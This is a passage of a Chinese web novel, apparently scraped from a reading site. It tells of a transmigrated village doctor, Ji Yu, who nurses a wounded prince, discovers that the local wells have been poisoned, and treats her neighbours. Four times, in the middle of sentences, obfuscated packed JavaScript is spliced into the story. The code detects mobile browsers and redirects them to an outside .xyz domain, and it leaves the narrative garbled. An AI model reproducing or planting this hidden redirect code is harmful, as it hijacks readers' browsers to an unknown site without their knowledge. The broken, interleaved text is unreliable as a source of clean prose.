就算你是三皇子,身份高贵,身子娇贵,也不能吃什么都过敏吧,吃个白粥都过敏,难不成还是对大米过敏? 要真是对大米过敏,那她可真怀疑此人是怎么活着长这么大的。 哦对了,也不止大米一种主食,还有面食! 季妤灵光一闪,马上敲定主意,当机立断地来到厨房,打算煮碗面条。 今晚她非得填饱祁钰的肚子不可,她就不信了,他还能对面条也过敏吗? 季妤是南方人,平日里不怎么吃面条,也不太爱吃,所以穿书过来也没买过面条,她翻箱倒柜,把厨房翻了个底朝天,才终于找着一些原主爹之前买的没吃完的面条。 等她再次端着碗进到屋内时,男人还在昏迷中,季妤将左手那碗面放到桌上,右手端着汤药走到床榻边。 人是昏迷状态,便只得给他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577365|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灌下这碗汤药。 南星迷迷糊糊地醒了,只觉胃里一阵翻江倒海,嘴里苦得发涩,忍不住干呕了几声。 季妤一脸同情地看着他,太惨了,竟然是对大米过敏,也怪她没有第一时间发现,让他重复过敏了三遍。 这可是非常粗的金大腿,他可千万不能有事,否则她这日受的苦岂不是白费了? 季妤殷勤地端着面条凑上去,笑得有些许谄媚,“祁公子,你应该不会对面条过敏吧?” 南星缓了缓,压下想要继续干呕的冲动,脸色发白地看着季妤手里端着的面条。 应该是刚出锅的面条,还冒着热气,源源不断的香气冲进鼻子里,南星咽了咽口水,还没开口,肚子率先叫了起来。 一抹红晕悄然爬上耳尖,他清咳一声,不解道:“何为过敏?” “呃,就是吃了不能吃的食物后,身体出现不舒服的现象。”差点忘了古代是没有过敏一词的,季妤简单解释道。 “我能吃面条。” 季妤笑道:“能吃就行。”能吃可太好了。 笑眯眯地盯着祁钰吃完一整碗面条,季妤有些紧张地问:“祁公子,你感觉如何,可有不适的地方,比如,肚子不舒服,或者头晕?” 南星探究的目光落在季妤脸上,只觉此姑娘到底是心思单纯还是故意装的,心里想的什么都表现在了脸上。 他三番五次地被她下毒弄晕,弄晕后又给他喝那什么黑乎乎的药,她到底要做什么? 南星悄然握紧了手,左胸处还疼得厉害,若不是伤势太过严重,导致他使不出力气,就凭她一而再再而三的给他下毒,他绝对会掐死眼前的女人。 可惜现在什么都做不了,只能静观其变。 南星松开紧握的手,平静道:“没有不适。” 季妤松了口气,擦了擦额角上不存在的汗,展开笑颜道:“那你休息一下,一会儿我就来给你换药。” “麻烦你了。” 季妤笑笑,端着碗离开了。 就在她关上门的那一刹那,屋内传来重物倒地的声响。 季妤的脸瞬间僵住了。 5. 原是中毒 这晚终究是没能如季妤所愿把南星肚子填饱,反而是一而再再而三的过敏,使得他越发病重,已经到了奄奄一息的地步。 季妤坐在院中熬药,有些颓然地盯着手里的蒲扇,实在想不通,为什么祁钰会几次过敏。 第一次她以为是鱼肉过敏,后来换了猪肉,也过敏,然后她什么都不放,只是白粥,他也过敏,因此她就推断他应该是大米过敏。 所以她才会煮面条给他吃,本应该万无一失,却没想到过敏更严重了。 季妤重重叹了口气,支着下巴看着已经在咕噜咕噜冒气泡的药炉,打算起身去倒药,突然院门被敲响了。 夜已深,她这房子周围也就几户邻居,平日里有什么小毛小病的也会来找她看,但也是白天来,这大半夜的,谁会来敲她家的门? 季妤满心疑惑,盯着院门并未起身,敲门声不间断地响着,季妤的心也随着敲门声而忐忑不已,脑海里已经出现了好几个给陌生人开门后遇害的案例。 许是太久没人回应,院外的人急了,敲门声也大了许多,直敲得门砰砰作响。 季妤皱着眉起身朝院门走去,压下心里的害怕,壮着胆子喊出声:“谁啊!” “妤丫头,是我。” 门外传来耳熟的声音,季妤忙打开门,惊讶道:“邱大娘,这么晚了,你来找我什么事?” 邱大娘着急得快要哭出来,一把抓住季妤的手腕就要拉着她走,“虎子突然上吐下泻,脸已经发白,现在还昏迷不醒,你快去看看他怎么样了!” 被邱大娘抓着一路来到她家,季妤仔细检查了一下邱大娘的孙子虎子的病情,发现竟然是中毒。 不过中毒不严重,吃几副药把毒清出来就能好了。 只是好端端地怎么会中毒呢? 听邱大娘说虎子上吐下泻,昏迷不醒,祁钰也是这样的情况,难道祁钰不是对什么过敏,而是中毒了? 季妤心下一惊,可是祁钰吃的食物,她也吃了,为什么她就没事呢? 季妤百思不得其解。 “虎子什么时候开始上吐下泻的?” 邱大娘擦了擦眼角的泪,仔细回想了一下,“我记得是吃了晚饭后,虎子说肚子疼,然后开始上吐下泻,将晚上吃的面条都给吐出来,拉出来了。” 季妤若有所思,问:“虎子应该是食物中毒了,邱大娘你仔细想一想,除了吃了面条,还吃了什么?” “中,……中毒?”邱大娘瞪大了眼睛,不敢相信地喊道,“可是面条我也吃了啊,我怎么没中毒?” “那可能问题不是出在面条上,还吃了别的东西吗?”季妤耐着性子问。 邱大娘回想了一下,一脸茫然地摇头,“没有,晚饭就吃了面条。” 晚饭就只吃了面条的话,问题可能出现在面条上,可是面条是寻常食物,虎子不可能第一次吃,那为什么这一次中毒了呢? 而且就像邱大娘说的,她也吃了,怎么单单虎子中毒。 季妤皱着眉,仔细地分析着各种可能,却仍然没有头绪。 见季妤表情严肃,一直垂着头沉默不语,邱大娘以为自己孙子中毒太深不好医治,吓得抓住季妤的手,哭道:“妤丫头,你一定要救救虎子啊!他爹娘昨日回了趟娘家,要是他们回来看到虎子这样,我该怎么给他俩交代?” 说着说着,已是泪流满面。 季妤轻轻拍了拍邱大娘的手背,安慰道:“邱大娘你放心,虎子中毒尚浅,不难医治,我给他开副方子,吃上两三日就能好了。” 邱大娘心里放松了些,擦了擦眼泪,只是还是疑惑,“这好端端的,怎么就中毒了呢?” 季妤眉头紧锁,右手抚上左手手腕,忽地,她一惊,她竟然摸出了中毒的脉象,她也中毒了,只是中毒极浅,浅到没有任何不适的状况。 “邱大娘,你伸出手来我替你把把脉。” 邱大娘掀起衣袖露出手腕伸了过来。 季妤眉眼舒展,如她所料,邱大娘果然也中毒了,只是中毒尚浅。 “邱大娘,你可有感觉哪里不舒服吗?比如头晕恶心想吐。”季妤贴心地为邱大娘抚平衣袖,然后问。 邱大娘想了想,诚实道:“有点想吐。” 季妤笑道:“你这也是中毒了,只是中毒太浅,症状没有虎子那么明显。” 眼见着邱大娘又紧张担忧起来,季妤忙安慰几句,待邱大娘放心下来,才问:“家中可有纸笔?” “有有有。”邱大娘忙应道,转身从柜子里取出笔墨纸来,“虎子上个月刚进学堂,家里准备了不少这些东西” 季妤提笔在展开的纸上写下药方子,等写好将笔搁下后对邱大娘嘱咐道:“你就按这药方子抓药,你和虎子吃上几日就能好了。” “谢谢妤丫头。”邱大娘感激不已,从腰间取下钱袋。 季妤忙摁住她的手,“不用不用,只是一张药方子的事,你留着钱抓药吧。” 大家都是邻里关系,邱大娘隔三差五地就会送些新鲜果蔬给她,前两日还送了一块猪肉,虽然分量不多,但对于普通百姓来说,肉还是奢侈的东西,不逢年过节的,也不会去买。 邱大娘是个好人,自从原主爹去世后,没少帮原主,而她穿进来后,对她也时常照顾。 所以这诊费,于情于理都不该收。 “妤丫头,你这……让大娘怎么好意思呢?” “那邱大娘你给我些蔬菜吧,就当是诊费了。”季妤笑道。 “蔬菜能值几个钱?”邱大娘嗔怪道。 “是不值几个钱,但邱大娘你种的蔬菜,比菜场买的甜多了,我就爱吃。”季妤笑嘻嘻地挽住邱大娘的胳膊。 邱大娘怜爱地摸了摸季妤的头,暗自叹了口气。 妤丫头也是可怜,一月前亲爹死了,后欠下巨债,又被逼着嫁给一个傻子,一个才十六岁的小姑娘就要承受那么多。 平日里他们这些邻居有些小毛病都会来找她医治,想着能多照顾一点她的生意,妤丫头却是个倔的,说大家都是邻居,她爹没死之前给他们看病不收钱,她也不能收。 别看妤丫头看着一副好说话的乖巧模样,实则最是倔的,死也不肯收他们的诊费,只收他们给的菜和便宜的水果。 前两日送妤丫头的猪肉,也是好说歹说才让妤丫头收下了,但虽说是收下了,却也没占便宜,转头就给了她一个香囊,说是安神助眠的。 她把香囊挂在了床头,果然夜里睡觉踏实了许多,以往到了半夜才能睡着,挂上香囊后,吃完晚饭就差不多困了,沾上枕头就能睡着。 妤丫头爱吃她种的蔬菜,那么她就多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577366|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拿些来。 “这韭菜今天早上刚摘的。” 季妤笑道:“谢谢邱大娘。” 季妤提着一篮子的韭菜站在院子门口正准备走,突然余光看到了院中的那口井,不由问道:“邱大娘,你今日用了井水做饭吗?” “厨房水缸的水用完了,所以今晚的面条用的是井水。” 见季妤一脸凝重,邱大娘不由问道:“怎么了?” 季妤走到井边,打了一桶井水,用瓢舀了一勺尝了一小口,入口不似以往的甘甜,反倒有些苦涩。 果然,问题出现在水上面,估计她家的井水也有问题,因为她家的井和邱大娘家的井是同一源头。 这也就能解释为什么祁钰一而再再而三的中毒晕倒,因为不管是鱼肉粥,瘦肉粥还是白粥面条,无一列外都用了井水。 井水被人下毒了,这是一个很可怕的情况,人活在世上,水是至关重要的,人可以几日不吃东西,但不能三日不喝水。 季妤面色沉重,眉头紧锁,到底是什么人,竟然如此丧心病狂在水里下毒,所幸的是,不是什么厉害的毒,不能够置人于死地。 “邱大娘,井水有点问题。” “井水有毒?”见季妤点头,邱大娘吓了一跳,家里用水可都靠这口井,现在厨房水缸空了,那之后要用水可怎么办? “不用担心,我一会儿再过来给井水清除毒素。” * 从邱大娘家里出来,季妤没有第一时间回家里,而是把周围的井都检查了一遍,发现除了邱大娘和她家的井有毒,公用的井中也就只有一口井有毒。 这口公用的井和她家以及邱大娘家的井是属于同一源头,所以下毒的人只要往其中一个井下,那么三个井的水都会有毒。 谁会这么恶劣做出投毒这事,季妤气得浑身发抖。 明天她一定要去府衙报案,一定要揪出下毒的人。 季妤回到家后直奔自己房间,从柜子里翻找出清除毒素的药粉,此药粉能清除大部分的毒,是她自己看医书研究出来的。 她来到自家井边,喝了一小口井水,果然是苦涩的。 季妤给自家井里撒了一包药粉,然后跑到邱大娘家井里撒上一包药粉,最后来到公用的井撒上一包药粉,等做完后,才匆匆回到家。 这一晚上跑上跑下的,累得季妤双腿发软,可她还不能休息,她还要给祁钰喂清除毒素的药,还要给他换身上的药。 季妤端着汤药推开房门时,南星便已经醒了,他偏头朝门口看去,月色皎洁,一道纤细娇小的身影出现在门口。 屋里没有点上蜡烛,一片漆黑,季妤不知道南星醒了,怕把人吵醒,便轻手轻脚地挪到床头,拿起床头的蜡烛点上。 昏黄的烛光下,季妤与一双极为漂亮的凤眸对上,季妤不禁感概:好漂亮的眼睛,浅灰色的瞳孔,好像两块透明的琥珀。 “季姑娘。” 低哑的声音响起,季妤回过神来,忙道:“在!” 南星皱着眉,全身都疼得厉害,不只外伤疼,他肚子也疼得厉害,好像有人拿刀子在割他的肠子。 他欲言又止,最后终是忍不住地问:“季姑娘真的是大夫吗?” 季妤愣住了,没明白祁钰为啥这么问,有些迷茫:“……我是大夫啊。” 6. 她图什么? 被人质疑大夫身份,该怎么办?在线等,急!!! 季妤揪着袖角,讪笑了两声,脑瓜子飞快地转着,想着得替自己找补,让他信任她然后安心住下才行。 祁钰之所以会发出那句疑问,归根结底是她没有在他身上施展可靠的医术,没有让他看到她的能力。 非但没有让他身体好受些,还因为她煮的那些吃食平白地接连中毒。 若他是个身体健康的人,这点毒还不至于让他病成这样,就像她一样,也中了毒,可无伤大雅,一点症状都没有。 可他偏偏是个身受重伤的人,本就身体虚弱,再受到这一丁点的毒,也足够要了他命。 若想彻底打消祁钰的怀疑,最重要的就是让他相信,她能医治好他身上的伤。可他身上的伤需得慢慢医治才有见效。 所以,现在最好的办法不是治他身上的伤,而是让他中的井水的毒清除,让他身体能立马好受起来,这才是最明显有效的方法。 季妤脸上堆着笑,端着药碗温声道:“祁公子,这是清除你身上毒素的药,你快趁热喝了,喝了药,你就不会那么难受了。” 南星视线落到那白皙纤细的手端着的瓷碗上,看了那黑乎乎的汤药一会儿,又将视线转回季妤脸上。 见她脸上挂着坦然又有些讨好的笑,南星下意识地皱了眉。 若是他没记错的话,这季姑娘不是第一次用讨好的笑面对他,但这讨好又不是那么地让人讨厌,至少不像那些为了讨好小姐故而来讨好小姐身边的他的那些人。 季姑娘怎么说也是他的救命恩人,一个大夫会对患者不只一次地露出讨好的笑吗? 就算是,也该他这个被救之人需要讨好她这个大夫,以求她能够尽心尽力地医治好他身上的伤,季姑娘却完全本末倒置。 早在河边他醒来的那一次,他就知道此女子就只是寻常女子,没有内力,不会武功。可若是寻常女子,见到河面漂着人,是断然不敢下水去救的,所以由此可见,季姑娘又非寻常女子。 若真如季姑娘所说的,她是个大夫,医者仁心,倒是有道理会去下水救人。 可以他经历的这半日接二连三地被她下毒又被她救醒来看,这季姑娘的大夫身份可能是真的,但她的医术却还有待商榷。 她到底为什么要对他几次三番地下毒,之后又要救醒他? 她图什么? 南星探究的眼神朝季妤瞥了一眼,在快被季妤察觉时又迅速收回。 他用手掌撑在床上,想要借力坐起来,却因为身子疲软无力,几次失败跌回床上,就在他再一次要跌倒时,一双微凉的手扶在他的手臂和肩膀上。 南星下意识地抬眸去看,季妤察觉到这向她看来的视线,偏头朝之一笑,温声提醒,“当心。” “多谢。” 依旧是冷淡疏离又礼貌的语气。 南星借着季妤的力,成功靠坐起来,看着眼前重新递过来的瓷碗,没有犹豫地接过后一饮而尽。 正把碗放下时,白皙的手掌伸至眼前,看清楚掌心里的是何物后,南星有些愣住。 季妤笑着,温声道:“蜜饯。” “快吃上几颗去去嘴里的苦味。” 在季妤期待的眼神里,南星从白皙的掌心里拿起一颗塞入口中,“……一颗就好。” 季妤也不强求,将剩下的几颗蜜饯塞进贴身佩戴的荷包里,里面一般用来装些零嘴解解馋的。 “祁公子饿了么?要不我……” 话还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577367|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说完整,就被一道急促的声音打断,“不,不用麻烦了,我还不饿。” 话音刚落,只听得一声不算大的“咕噜”声响起,季妤抿着唇,极力忍住想要笑出声的冲动。 这是有多害怕她做的饭食啊,瞧把一个温润如玉的贵公子吓成这样。 看着男人泛红的耳尖,季妤收敛了笑意,认真解释道:“祁公子,这几次害你中毒并非我所愿,是井水被人投了毒。” “若不是我的邻居邱大娘,她的孙子因为中了毒而上吐下泻晕倒过去,拉着我去医治,我才发现井水被投毒一事。” “所幸不是什么害人性命的毒,身体健壮的人喝了这有毒的井水也没什么明显的症状,只是你本就身受重伤,一点毒都能要你的命,所以你才会出现那么严重的中毒反应。” 季妤顿了顿,悄悄地将视线移到祁钰的脸上,见他一副若有所思认真听她解释的样子,她暗自松了口气,继续道:“现在井水已经被我撒上了清除毒素的药粉,明日一早估计水就可以用了。” “我屋里还有一些糕点,可以拿来给你垫垫肚子。” 听了季妤的这一番话,南星心里大概明白了,他之所以中毒,不是她下的毒,而是井水被人投了毒。 虽然还不能断定她的这一番解释是真是假,但他现在身负重伤,什么事都做不了,哪里也去不了,信任她,是最妥帖的法子。 南星点点头,扯了扯嘴角露出一个僵硬的笑,朝季妤拱手道:“那就麻烦季姑娘了。” “不麻烦不麻烦。”季妤笑着摆摆手,拿着空碗转身出了屋子。 等南星将糕点吃完,肚子也填了七七八八,正擦着嘴角,便见季妤推门而入。 “祁公子,我来给你换药。” 7. 请张嘴 已至深夜,那悬挂于上空的明月已悄然躲回了云层,屋内昏黄的烛火随着季妤开门的动作而摇曳晃动。 “祁公子,我来给你换药。” 季妤走到床榻边,将手里端着的药和纱布放到一旁的凳子上,然后一脸微笑地看着南星,一副做好准备的样子。 南星坐直了些身子,不小心扯到了左胸的伤口,疼得他忍不住低低地发出一道“嘶”的气声。 血透过纱布已经渗透了里衣,季妤着急忙慌地上手摁住南星的肩膀,不让他再继续乱动,语气里也带了一丢丢的埋怨,“你动作轻一点,你看,伤口崩开了吧?” 南星垂头看了一眼,左胸上那一小块的衣裳已经被血渗透了,应该就是他刚才的举动导致的。 他抬起眼来看着季妤,本想着和季姑娘说他自己来换药就行,可如今来看,按季姑娘这个性子,恐怕不会由着他这个病人胡闹,因此,他垂下眸,“那就劳烦姑娘为我换药了。” 里衣被季妤轻柔褪下一半,露出男人左肩整个臂膀,包裹住男人左胸伤口处的层层纱布已经被血染了个透彻,季妤眉头紧皱,一脸难色。 这家伙倒是能忍,都这幅样子了,也没见他喊疼,甚至脸色都没怎么变过,要换做是她伤成这幅样子,早痛哭哀嚎起来。 毕竟,她最怕疼了,她可是脆弱的大学生,经不起折腾。 季妤神情认真,伸手去给他解纱布,她的动作已经非常非常轻了,可伤口崩开了,有些皮肉紧挨着纱布,一旦掀开,便连带着血肉一起掀起。 季妤穿书这半个月以来,看诊的病人都是些小毛小病,至今还没见到过如此骇人的伤,早在第一次给他上药时就被吓到了,现在看到这血肉模糊的伤口,又被吓了一次。 纵使是南星这样意志力非常强的,也遭不住血肉被掀开的疼,他咬着牙隐忍着,愣是没发出什么声音,甚至在季妤问他疼不疼,疼的话叫出来也无妨时,他还镇定自若地回她无事,季姑娘继续这样的话。 季妤由衷地佩服他,真不愧是作者笔墨下描写仅次于男主的男人,虽然只是男二,但作者给了他尊贵的家世,绝世的容貌,还有美好的品质。 就是情路有点坎坷,喜欢谁不好,偏偏喜欢一个恶女,恶女心有所属,所以他的单恋注定无结果,这也是为什么她们这些读者这么心疼男二的原因了,因此也恨作者为什么不给他一个官配。 季妤想着想着,不由得叹了口气,声音很轻,却被南星听到了。 他不由得抬眼去看季妤,只见她眉头紧锁,眼里是丝毫不掩藏的心疼。 心疼他吗?有什么好心疼的? 这伤虽然疼得厉害,但也不是不能忍受,比起每月要忍受的钻心的疼,这点疼还不算什么,就是伤口看着唬人而已。 纱布被全部解下,季妤拿着毛巾在温水里浸湿,然后将他伤口处的血渍擦拭干净。 血渍被擦干净后,露出恐怖狰狞的伤口,伤口周围的皮肉已经不是正常的肤色,而是成黑紫状,有从伤口向周围蔓延的趋势。 季妤震惊不已,此毒竟然如此霸道,原以为她压制住了这毒素,至少能够管他三日内不会蔓延至全身,可如今来看,一日还没到,已经开始朝周围扩散了。 如果再不采取措施,只怕不出两日,毒素侵入脑子里,到时候就是大罗神仙来了,也救不了他。 季妤神色凝重,一边想着要赶紧找出解毒的法子,一边从矮凳上拿起匕首,放置在烛火处烘烤消毒。 这些黑紫色的烂肉需要尽快刮掉,否则毒素会蔓延更快。 季妤屏气凝神,拿着消毒好的匕首靠近伤口,她抬头看了南星一眼,见他面色平静,没有一点惧意。 接下来可是在没有麻药的情况下用匕首刮骨削肉啊,他不怕? 果然在她给他刮骨削肉的这半个时辰里,他只微微皱眉,连句闷哼都未发出,季妤由衷地佩服,看向南星的眼神都多了几分崇拜。 季妤从小罐里取出膏药,沾在指腹,然后轻轻地涂抹在男人左胸的伤口处。 膏药抹在伤口处,冰冰凉凉的触感使得南星忍不住身子一颤,季妤察觉到后,忙问,“可是弄疼祁公子了?” “……是有点。” 刮骨削肉都没让他觉得疼,怎么这抹膏药还觉得疼了? 季妤抿了抿唇,觉着估计是这三皇子痛觉比较奇特吧,她微微一笑,“那我再轻一些。” 季妤说完,果然手下抹药的动作更轻了些,南星却感觉更难熬了,只觉得伤口处不再冰冰凉凉,而是莫名痒了起来。 好在膏药很快就涂抹好了,接下来季妤取来一个小瓷瓶,在南星伤口处撒上药粉,最后再给他用纱布包扎好就行。 因着伤口在左胸,被箭射穿,所以纱布便要绕着整个臂膀包扎。 第一次给他包扎时,男人是昏睡状态,任由季妤摆布,可现在男人是醒着的,要想包扎,就必须靠他很近,以一副环抱的姿势。 季妤是有些紧张的,但想到此人是她的金大腿,还靠着他给的酬金还债,季妤脑子里的那些旖旎念想就全消失干净,眼里心里脑子里都只剩下了一个念头。 就是医治好他。 因着季妤心无杂念,所以这纱布包扎得十分顺利,看着南星额头上冒出的冷汗,季妤还非常贴心地掏出帕子给他擦了擦。 擦完后,眼里满是关切地看着南星,“祁公子,已经换好药重新包扎了伤口,夜已深,祁公子好生休息。” 随着房门被推开又快速合上,那纤细的背影消失在眼前,南星将视线收回,低头看了眼被季妤重新穿上的衣服,若有所思。 这季姑娘,有些过分殷勤了。 * 因着昨天忙活了了一整天,直到半夜才上床睡觉的季妤,又听了一夜的雨,催眠十足,睡得异常香甜,于是便成功地睡过头了。 等她起来时,已经是日上三竿,她慌忙地穿上鞋和衣服,来不及梳洗就跑向厨房。 看外面天色,太阳高高挂起,俨然是快到中午了。 以往不用上早八,或者上午没课的时候,她经常一觉赖到中午才起,穿书后家里就她一个人,虽然不至于睡到中午,但因着没人管,也时常允许自己睡赖觉。 可今时不同往日,家里住进了一位金贵的人,人家可是堂堂三皇子,怎么能让人不吃早饭一直饿到中午? 昨晚上还念着一定要早起,弥补因为她做的吃食让他中毒好几次的过失,想着明日早上一定要做个丰盛的早餐,让他好好享受一下,也能借此打消他对她下毒的疑虑。 可现在她睡过头了,祁钰一定饿惨了! 季妤欲哭无泪地在厨房起灶烧火,火烧起来后赶紧淘米煮饭,完了之后又赶紧去洗菜切菜,整个人忙得恨不得生出六只手来各司其职才好。 因着昨晚折腾得很晚,南星醒来时也不算早,身上的伤昨晚都重新换过药了,已经没有那么疼,只是依然不能够允许他下床走动。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14577368|155770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 因此他只能躺在床上,不时地看看床顶,看看窗外,不过窗被关紧了,也看不到窗外的景象,便只能无聊地打量起屋内的摆设。 就这么把整个屋子都熟记于心了,季姑娘还是没有过来,想到季姑娘大夫身份,想来应该是看诊去了。 肚子饿得咕咕直叫,南星从枕头边翻出一个油纸包,神情认真地打开,里面是三块糕点,正是昨晚季妤拿来给他垫肚子的。 南星塞了一块进嘴里,木然地咀嚼着。 幸好昨晚有先见之明,特地留了三块糕点以备不时之需,现在看来,果然是明智之举。 三块糕点下肚,虽然没有完全饱,只饱了不到三分之一,但总比饿着强。 吃了糕点,嘴有些渴,南星探出些身子去够床头放在凳子上的茶壶。 季妤想到南星可能会口渴想喝水,所以特地搬了个凳子放在床头边,上面放着茶壶和茶杯,只要他稍微探出身子伸手就能够到。 就在南星要给自己倒一杯水时,门被推开了,大片的阳光争先恐后地要挤进来,却在季妤关上门后,这些阳光被隔绝在了屋外。 “祁公子,我给你做了早……呃,午饭。”季妤尴尬地笑了笑,提着食盒走到圆桌旁。 圆桌离床榻有几步距离,但祁钰不能下床走动,所以季妤想着把圆桌移到床边。 在季妤移动圆桌的时候,南星正打量着她。 这位季姑娘似乎不太会挽发,昨日见她时,便只是用发带编了条辫子垂在后背,头上无半点珠花和簪子,现在的她就更简略了,只用发带随便束起,连辫子都省得编。 大祁朝风俗,未出阁的女子不把头发全部挽起来,因此女子头发长短便一目了然,女子大多蓄发到腰间,鲜少有留发至腰以下的,更别说头发在腰以上的。 季姑娘却是如此,她的头发似乎被剪过,发尾参差不齐,比寻常女子头发短了三分之一。 圆桌移到了床榻边,南星收回视线,在季妤地帮助下坐了起来,看到了季妤的正脸时,不由多看了两眼。 “季姑娘。” 南星缓缓开口,季妤手下动作未停,从食盒里一一端出饭食来,然后摆放好,末了问,“祁公子,怎么了?” “你的嘴,周围有碳灰。” “啊?”季妤疑惑地摸了摸嘴边,碳灰吗? 突然想到生火做饭,昨夜下了雨,厨房窗户大开,柴火淋了雨始终点不着,就算点着了,没过多久又灭了,于是她把竹筒放在嘴边吹风生火…… 想到这,季妤连忙揪着袖子去擦,估计嘴边一圈都是乌漆麻黑的了,还让人看了个正着,好尴尬啊! “季姑娘,那边有镜子。” 南星善意地提醒让季妤有些尴尬地收回袖子,朝南星讪笑一声,然后走去照镜子。 等将嘴边和脸上的碳灰擦净后,季妤挂着微笑镇定自若地重新走到床榻,给南星盛了一碗饭,给他夹了菜,“祁公子,你左胸受伤严重,故而左臂不能轻易动作,想来是端不住碗的,不若我来喂你吃?” 季妤微笑着看着南星,看吧,多贴心地伺候你啊,本姑娘还亲自给你喂饭,等你伤好后,可千万别忘了要报答我黄金百两和一套宅子哦! 南星怔了一下,忙婉拒,“不用麻烦季姑娘了,在下左手不能动,还有右手,季姑娘把碗放到桌上就行。” “祁公子不必不好意思。”季妤微微一笑,挖了一勺饭菜凑到南星嘴边,“祁公子,请张嘴。” 8. 真香 看着南星乖乖地吃下一口她喂的饭,季妤满意地笑了,正舀起第二勺,院门被敲响了。 季妤将碗放到桌上,然后对南星道:“你先自己慢慢吃,我去去就回。” 说罢转身往院子走去,南星看着那道离去的纤细身影,莫名地松了口气,右手拿起了勺子。 “邱大娘,虎子怎么样了?”一打开院门,看到是邱大娘,季妤忙担心问。 邱大娘笑道:“好了,现在已经活蹦乱跳的,真是多亏了妤丫头你啊!” 说完将手里的陶碗递过去,季妤低头往里一看,忙推辞:“邱大娘,这可不能收,你快拿回去给虎子吃吧,小孩子长身体,更要多吃点。” 邱大娘笑道:“你放心,锅里还有一大半留着给虎子吃的,一只鸡那么大,我和虎子吃不完,就给你带了点,你要是不收,我可就恼了。” 说完,板起一张脸来,佯装要恼了的样子,季妤无奈接过,笑道:“那就谢谢邱大娘。” 目送邱大娘离开,季妤关了院门,低头看了眼手里端着的一陶碗鸡汤,内心激动不已。 这半个月省吃俭用地努力攒钱,肉不舍得买,更别说喝什么鸡汤了。 现在有了那么一大碗的鸡汤,她舔了舔嘴角,已经馋得不行。 她快步朝屋内走去,人还未走进屋,声音就先传进了屋里,传进了某人的耳朵里。 “有鸡汤喝了!”语气欢快又兴奋。 南星将碗搁下,抬头时便看到一张笑得异常灿烂的脸,季妤眉开眼笑地快步走近,将陶碗放下,拿过南星的空碗盛了满满一碗鸡汤。 “快趁热喝,你今日算是有口福的,邱大娘做的饭菜特别好吃,这鸡汤闻着香,想来吃起来也香。” 季妤说完又给自己盛了一碗,迫不及待地坐了下来,舀了一勺鸡汤送进嘴里,末了,一脸喟叹,“啊,真香!” 看着季妤吃口鸡汤都一脸陶醉成这样的模样,南星不解地多看了季妤两眼,心里想着,季姑娘家里很穷吗? 看了一眼桌上没有半点荤腥的饭菜,只有韭菜炒蛋勉强算是荤菜的话,那季姑娘确实算是挺穷的。 南星默默地喝着鸡汤,突然想到什么,“季姑娘,你说我身上穿的是令尊的衣服,怎么未见你父亲呢?” 季妤从碗里抬起头来,酝酿了一下感情,眼睛瞬间湿润,“我爹他,一月前便跌下了山崖,生不见人死不见尸,如今家里就剩我一个人了。” 南星沉默半晌,“抱歉。” 季妤又给自己盛了一碗鸡汤,擦了擦眼角的泪,有些愧疚地看着南星,“家里条件确实简陋了些,但也绝对不会亏待了公子,公子想吃什么,我下午去买。” “不用麻烦,季姑娘吃什么我就吃什么,不挑。” 季妤眼睛亮了一下,这三皇子倒是挺好养的。 不过虽然他说不挑,但也不能真的让他跟着她天天吃素,她能忍受,人家金贵的三皇子可不一定能熬得住。 所以下午还是要去趟集市,买点肉回来。 昨晚虽然下了雨,但今日却是一整天的大晴天,外头阳光明媚,季妤将窗子打开,有阳光倾洒进来,正好能照到床榻。 季妤将窗帘掀起,让阳光照到的范围更广,然后找来一本游记给南星,“我下午有事要出去,你若是嫌无聊,就看看书,看累了就晒晒太阳睡会儿觉。” * 季妤走到衙门时,发现外头围了不少的百姓,吵吵嚷嚷的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 